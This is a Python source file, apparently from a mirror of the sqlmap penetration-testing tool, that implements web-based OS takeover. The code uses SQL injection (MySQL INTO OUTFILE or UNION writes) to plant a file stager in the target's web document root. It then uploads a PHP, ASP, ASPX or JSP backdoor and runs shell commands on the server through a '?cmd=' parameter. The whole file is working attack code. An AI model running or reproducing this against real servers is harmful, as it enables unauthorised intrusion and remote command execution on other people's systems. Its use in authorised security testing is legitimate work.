mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2024-11-30 05:23:50 +03:00
343 lines
14 KiB
Python
343 lines
14 KiB
Python
#!/usr/bin/env python
|
|
|
|
"""
|
|
Copyright (c) 2006-2012 sqlmap developers (http://sqlmap.org/)
|
|
See the file 'doc/COPYING' for copying permission
|
|
"""
|
|
|
|
import codecs
|
|
import os
|
|
import posixpath
|
|
import re
|
|
|
|
from extra.cloak.cloak import decloak
|
|
from lib.core.agent import agent
|
|
from lib.core.common import arrayizeValue
|
|
from lib.core.common import Backend
|
|
from lib.core.common import decloakToMkstemp
|
|
from lib.core.common import decloakToNamedTemporaryFile
|
|
from lib.core.common import extractRegexResult
|
|
from lib.core.common import getDirs
|
|
from lib.core.common import getDocRoot
|
|
from lib.core.common import getSQLSnippet
|
|
from lib.core.common import ntToPosixSlashes
|
|
from lib.core.common import isTechniqueAvailable
|
|
from lib.core.common import isWindowsDriveLetterPath
|
|
from lib.core.common import normalizePath
|
|
from lib.core.common import posixToNtSlashes
|
|
from lib.core.common import randomInt
|
|
from lib.core.common import randomStr
|
|
from lib.core.common import readInput
|
|
from lib.core.common import singleTimeWarnMessage
|
|
from lib.core.convert import hexencode
|
|
from lib.core.data import conf
|
|
from lib.core.data import kb
|
|
from lib.core.data import logger
|
|
from lib.core.data import paths
|
|
from lib.core.enums import DBMS
|
|
from lib.core.enums import OS
|
|
from lib.core.enums import PAYLOAD
|
|
from lib.request.connect import Connect as Request
|
|
|
|
|
|
class Web:
|
|
"""
|
|
This class defines web-oriented OS takeover functionalities for
|
|
plugins.
|
|
"""
|
|
|
|
def __init__(self):
|
|
self.webApi = None
|
|
self.webBaseUrl = None
|
|
self.webBackdoorUrl = None
|
|
self.webBackdoorFilePath = None
|
|
self.webStagerUrl = None
|
|
self.webStagerFilePath = None
|
|
self.webDirectory = None
|
|
|
|
def webBackdoorRunCmd(self, cmd):
|
|
if self.webBackdoorUrl is None:
|
|
return
|
|
|
|
output = None
|
|
|
|
if not cmd:
|
|
cmd = conf.osCmd
|
|
|
|
cmdUrl = "%s?cmd=%s" % (self.webBackdoorUrl, cmd)
|
|
page, _, _ = Request.getPage(url=cmdUrl, direct=True, silent=True)
|
|
|
|
if page is not None:
|
|
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
|
|
|
|
if output:
|
|
output = output.group(1)
|
|
|
|
return output
|
|
|
|
def webFileUpload(self, fileToUpload, destFileName, directory):
|
|
inputFP = codecs.open(fileToUpload, "rb")
|
|
retVal = self.__webFileStreamUpload(inputFP, destFileName, directory)
|
|
inputFP.close()
|
|
|
|
return retVal
|
|
|
|
def __webFileStreamUpload(self, stream, destFileName, directory):
|
|
stream.seek(0) # Rewind
|
|
|
|
if self.webApi in ("php", "asp", "aspx", "jsp"):
|
|
multipartParams = {
|
|
"upload": "1",
|
|
"file": stream,
|
|
"uploadDir": directory,
|
|
}
|
|
|
|
if self.webApi == "aspx":
|
|
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
|
|
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
|
|
|
|
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
|
|
|
|
if "File uploaded" not in page:
|
|
warnMsg = "unable to upload the backdoor through "
|
|
warnMsg += "the file stager on '%s'" % directory
|
|
logger.warn(warnMsg)
|
|
return False
|
|
else:
|
|
return True
|
|
|
|
def __webFileInject(self, fileContent, fileName, directory):
|
|
outFile = posixpath.normpath("%s/%s" % (directory, fileName))
|
|
uplQuery = fileContent.replace("WRITABLE_DIR", directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory)
|
|
query = ""
|
|
|
|
if isTechniqueAvailable(kb.technique):
|
|
where = kb.injection.data[kb.technique].where
|
|
|
|
if where == PAYLOAD.WHERE.NEGATIVE:
|
|
randInt = randomInt()
|
|
query += "OR %d=%d " % (randInt, randInt)
|
|
|
|
query += getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=outFile, HEXSTRING=hexencode(uplQuery))
|
|
query = agent.prefixQuery(query)
|
|
query = agent.suffixQuery(query)
|
|
payload = agent.payload(newValue=query)
|
|
page = Request.queryPage(payload)
|
|
|
|
return page
|
|
|
|
def webInit(self):
|
|
"""
|
|
This method is used to write a web backdoor (agent) on a writable
|
|
remote directory within the web server document root.
|
|
"""
|
|
|
|
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webApi is not None:
|
|
return
|
|
|
|
self.checkDbmsOs()
|
|
|
|
infoMsg = "trying to upload the file stager"
|
|
logger.info(infoMsg)
|
|
|
|
default = None
|
|
choices = ('asp', 'aspx', 'php', 'jsp')
|
|
|
|
for ext in choices:
|
|
if conf.url.endswith(ext):
|
|
default = ext
|
|
break
|
|
|
|
if not default:
|
|
if Backend.isOs(OS.WINDOWS):
|
|
default = "asp"
|
|
else:
|
|
default = "php"
|
|
|
|
message = "which web application language does the web server "
|
|
message += "support?\n"
|
|
|
|
for count in xrange(len(choices)):
|
|
ext = choices[count]
|
|
message += "[%d] %s%s\n" % (count + 1, ext.upper(), (" (default)" if default == ext else ""))
|
|
|
|
if default == ext:
|
|
default = count + 1
|
|
|
|
message = message[:-1]
|
|
|
|
while True:
|
|
choice = readInput(message, default=str(default))
|
|
|
|
if not choice.isdigit():
|
|
logger.warn("invalid value, only digits are allowed")
|
|
|
|
elif int(choice) < 1 or int(choice) > len(choices):
|
|
logger.warn("invalid value, it must be between 1 and %d" % len(choices))
|
|
|
|
else:
|
|
self.webApi = choices[int(choice) - 1]
|
|
break
|
|
|
|
kb.docRoot = getDocRoot()
|
|
directories = sorted(getDirs())
|
|
|
|
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
|
|
backdoorStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi), backdoorName)
|
|
originalBackdoorContent = backdoorContent = backdoorStream.read()
|
|
|
|
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True), self.webApi)
|
|
stagerContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
|
|
|
success = False
|
|
|
|
for docRoot in arrayizeValue(kb.docRoot):
|
|
if success:
|
|
break
|
|
|
|
for directory in directories:
|
|
uriPath = ""
|
|
|
|
if not all(isinstance(_, basestring) for _ in (docRoot, directory)):
|
|
continue
|
|
|
|
directory = ntToPosixSlashes(normalizePath(directory)).replace("//", "/").rstrip('/')
|
|
docRoot = ntToPosixSlashes(normalizePath(docRoot)).replace("//", "/").rstrip('/')
|
|
|
|
# '' or '/' -> 'docRoot'
|
|
if not directory:
|
|
localPath = docRoot
|
|
uriPath = '/'
|
|
# 'dir1/dir2/dir3' -> 'docRoot/dir1/dir2/dir3'
|
|
elif not isWindowsDriveLetterPath(directory) and directory[0] != '/':
|
|
localPath = "%s/%s" % (docRoot, directory)
|
|
uriPath = "/%s" % directory
|
|
else:
|
|
localPath = directory
|
|
uriPath = directory[2:] if isWindowsDriveLetterPath(directory) else directory
|
|
docRoot = docRoot[2:] if isWindowsDriveLetterPath(docRoot) else docRoot
|
|
|
|
if docRoot in uriPath:
|
|
uriPath = uriPath.replace(docRoot, "/")
|
|
uriPath = "/%s" % normalizePath(uriPath)
|
|
else:
|
|
webDir = extractRegexResult(r"//[^/]+?/(?P<result>.*)/.", conf.url)
|
|
|
|
if webDir:
|
|
uriPath = "/%s" % webDir
|
|
else:
|
|
continue
|
|
|
|
localPath = posixpath.normpath(localPath).rstrip('/')
|
|
uriPath = posixpath.normpath(uriPath).rstrip('/')
|
|
|
|
# Upload the file stager
|
|
self.__webFileInject(stagerContent, stagerName, localPath)
|
|
|
|
self.webBaseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, uriPath)
|
|
self.webStagerUrl = "%s/%s" % (self.webBaseUrl, stagerName)
|
|
self.webStagerFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, stagerName))).replace("//", "/").rstrip('/')
|
|
|
|
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
|
uplPage = uplPage or ""
|
|
|
|
if "sqlmap file uploader" not in uplPage:
|
|
warnMsg = "unable to upload the file stager "
|
|
warnMsg += "on '%s'" % localPath
|
|
singleTimeWarnMessage(warnMsg)
|
|
|
|
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
|
|
infoMsg = "trying to upload the file stager via "
|
|
infoMsg += "UNION technique"
|
|
logger.info(infoMsg)
|
|
|
|
stagerDecloacked = decloakToMkstemp(os.path.join(paths.SQLMAP_SHELL_PATH, "stager.%s_" % self.webApi))
|
|
self.unionWriteFile(stagerDecloacked.name, self.webStagerFilePath, "text")
|
|
|
|
uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
|
|
uplPage = uplPage or ""
|
|
|
|
if "sqlmap file uploader" not in uplPage:
|
|
continue
|
|
else:
|
|
continue
|
|
|
|
if "<%" in uplPage or "<?" in uplPage:
|
|
warnMsg = "file stager uploaded on '%s', " % localPath
|
|
warnMsg += "but not dynamically interpreted"
|
|
logger.warn(warnMsg)
|
|
continue
|
|
|
|
elif self.webApi == "aspx":
|
|
kb.data.__EVENTVALIDATION = extractRegexResult(r"__EVENTVALIDATION[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
|
kb.data.__VIEWSTATE = extractRegexResult(r"__VIEWSTATE[^>]+value=\"(?P<result>[^\"]+)\"", uplPage, re.I)
|
|
|
|
infoMsg = "the file stager has been successfully uploaded "
|
|
infoMsg += "on '%s' - %s" % (localPath, self.webStagerUrl)
|
|
logger.info(infoMsg)
|
|
|
|
if self.webApi == "asp":
|
|
runcmdName = "tmpe%s.exe" % randomStr(lowercase=True)
|
|
runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
|
|
match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)
|
|
|
|
if match:
|
|
backdoorDirectory = match.group(1)
|
|
else:
|
|
continue
|
|
|
|
backdoorContent = originalBackdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
|
|
backdoorStream.file.truncate()
|
|
backdoorStream.read()
|
|
backdoorStream.seek(0)
|
|
backdoorStream.write(backdoorContent)
|
|
|
|
if self.__webFileStreamUpload(backdoorStream, backdoorName, backdoorDirectory):
|
|
self.__webFileStreamUpload(runcmdStream, runcmdName, backdoorDirectory)
|
|
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
|
|
self.webDirectory = backdoorDirectory
|
|
else:
|
|
continue
|
|
|
|
else:
|
|
if not self.__webFileStreamUpload(backdoorStream, backdoorName, posixToNtSlashes(localPath) if Backend.isOs(OS.WINDOWS) else localPath):
|
|
warnMsg = "backdoor has not been successfully uploaded "
|
|
warnMsg += "through the file stager possibly because "
|
|
warnMsg += "the user running the web server process "
|
|
warnMsg += "has not write privileges over the folder "
|
|
warnMsg += "where the user running the DBMS process "
|
|
warnMsg += "was able to upload the file stager or "
|
|
warnMsg += "because the DBMS and web server sit on "
|
|
warnMsg += "different servers"
|
|
logger.warn(warnMsg)
|
|
|
|
message = "do you want to try the same method used "
|
|
message += "for the file stager? [Y/n] "
|
|
getOutput = readInput(message, default="Y")
|
|
|
|
if getOutput in ("y", "Y"):
|
|
self.__webFileInject(backdoorContent, backdoorName, localPath)
|
|
else:
|
|
continue
|
|
|
|
self.webBackdoorUrl = "%s/%s" % (self.webBaseUrl, backdoorName)
|
|
self.webDirectory = localPath
|
|
|
|
self.webBackdoorFilePath = ntToPosixSlashes(normalizePath("%s/%s" % (localPath, backdoorName))).replace("//", "/").rstrip('/')
|
|
|
|
testStr = "command execution test"
|
|
output = self.webBackdoorRunCmd("echo %s" % testStr)
|
|
|
|
if output and testStr in output:
|
|
infoMsg = "the backdoor has been successfully "
|
|
else:
|
|
infoMsg = "the backdoor has probably been successfully "
|
|
|
|
infoMsg += "uploaded on '%s' - " % self.webDirectory
|
|
infoMsg += self.webBackdoorUrl
|
|
logger.info(infoMsg)
|
|
|
|
success = True
|
|
|
|
break
|